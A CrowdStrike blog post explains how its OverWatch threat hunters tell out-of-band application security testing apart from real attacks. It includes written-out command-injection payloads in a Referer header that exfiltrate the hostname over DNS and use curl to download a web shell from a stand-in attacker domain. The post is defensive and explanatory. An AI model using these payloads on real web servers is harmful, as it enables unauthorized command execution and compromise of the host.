How Falcon OverWatch Hunts for Out-of-Band Application Security Testing

CrowdStrike Falcon OverWatch threat hunters frequently uncover security testing activity in the course of routine hunting. While much of this activity can be confidently attributed to planned and sanctioned testing, OverWatch is always careful not to discount a threat on the basis that it looks like a test. Some of the more stealthy adversaries will attempt to evade detection by mimicking or using tools and techniques commonly used by security testers. OverWatch works hard to separate the wheat from the chaff to detect malicious adversaries — even when they attempt to evade detection by blending in with testing activities.

Watch this short video to see how Falcon OverWatch proactively hunts for threats in your environment. 

OverWatch has several proprietary behavioral detections to identify suspicious or anomalous activity on web servers, and these are sometimes triggered by security testing. A common scenario that OverWatch sees is the attempted exfiltration of data using domain names commonly associated with security testing tools that perform out-of-band application security testing (OAST).

What Is OAST?

Traditional application security testing involves sending a payload to a web application and looking at the response the application returns for indications that the payload was executed. A vulnerability may result in privileged data being returned or, more commonly, an error message being returned that indicates potential for some sort of input attack. 

However, not all vulnerabilities are evident in the responses from a web application. Some vulnerabilities are exploited outside of the application’s normal operations, or “out-of-band” — these are known as blind vulnerabilities.

OAST attempts to identify blind vulnerabilities by forcing interactions with an external service that is controlled by the tester. These interactions can indicate the application can be coerced into taking some action not intended by the developers. These interactions can occur over a number of protocols, though OverWatch commonly sees DNS being used.

Adversaries Testing the Waters with OAST

OAST is effectively used for vulnerability scanning. Testers (and adversaries) will use OAST to identify whether any exploitable vulnerabilities exist and to conduct basic reconnaissance against a target. For example, with a few simple commands, it may be possible to perform basic reconnaissance to determine the operating system that a web application is running on. If successful, these simple commands also reveal that more complex command execution may be possible.

How an Adversary Might Use OAST to Scan for Vulnerabilities and Collect Information

To keep things very simple, imagine a contrived web application that, as part of its normal operation, parses the Referer header sent by clients and resolves the domain name in this header to an IP address:

Referer: example[.]com/

In a typical interaction with the web application, this header contains the address of the page that made this request. The application resolves the domain in this header to an IP address using the dig command. Note, though, that an adversary can set this header to any value of their choosing. 

For example, they could set it to adversaryinfrastructure[.]com. An adversary can prompt the web application to resolve any domain name in the Referer header by having the web server process spawn a dig process, such as dig foo.adversaryinfrastructure[.]com. The attacker owns this domain and therefore knows when someone issues a request to resolve it — or any subdomain within it — to an IP address and is able to log these requests. 

What if an adversary sets the Referer header to $(hostname).adversaryinfrastructure[.]com? This is an attempt to execute a command. When the web server executes the command dig $(hostname).adversaryinfrastructure[.]com, it first executes the command inside the brackets, which in this example is hostname, which returns the host name of the server running the web application — let’s say the name is “webserver.” The web server process then spawns the command dig webserver.adversaryinfrastructure[.]com. The web server makes a DNS resolution request for webserver.adversaryinfrastructure[.]com, which the adversary receives and logs. The adversary has achieved command execution on the web server. Admittedly, they have only managed to obtain the name of the host running the web application, but it’s a start.

From Command Execution to Intrusion Attempt

The adversary has found a way to execute commands because the example web application accepts user-supplied input with no sanitization. Armed with that knowledge, the adversary can execute almost any command that they want. They can navigate the web server’s file system and determine where web-accessible content is hosted. Once they know where web-accessible content is hosted, they can issue a command to download their own content, such as a web shell, from an external host and write it to the web-accessible directory. For example, an adversary could make a request to the web application with the following HTTP header:

Referer: $(curl -s http://adversaryinfrastructure[.]com/shell.php > /web/content/shell.php && echo blah).adversaryinfrastructure[.]com

Remember that whatever is inside the brackets is executed by the web server, which in this case is a command to download a web shell from their domain and write it to a location that can be accessed from the internet. This is done without returning anything to the command line (because of the -s switch) so the adversary also prints “blah” so that the web server then performs a DNS resolution for blah.adversaryinfrastructure[.]com. With this one command, an adversary has successfully written a web shell to the web server and can now use this to perform more complex operations to further their intrusion attempt.

How Do OverWatch Threat Hunters Use this Knowledge?

This chain of behavior is not theoretical — OverWatch has identified activity very similar to this in several customer environments where adversaries have performed vulnerability scans against a web application, identified remote code execution vulnerabilities, and exploited the vulnerabilities directly to compromise the underlying host. It is for this reason that OverWatch approaches all vulnerability scanning activity with a critical eye and will not leap to the conclusion that it indicates testing.

Attempts to detect activity of this sort using automated detections alone would be noisy and would likely lead to alert fatigue for defenders. The CrowdStrike Falcon® platform detects attempts at follow-on activity such as unusual processes spawning under a web application. But, to detect adversary attempts at the earliest possible point, human analysis is crucial to correlate probing activity with other behavioral patterns to more accurately ascertain whether there is an issue. When OverWatch threat hunters uncover evidence of vulnerability scanning that could lead to the compromise of a web application, they are quick to alert customers, allowing them the maximum opportunity to deny adversaries access before any damage can be done.

See for yourself how the industry-leading CrowdStrike Falcon platform protects against modern threats like wipers and ransomware. Start your 15-day free trial today.  

Additional Resources

Related Content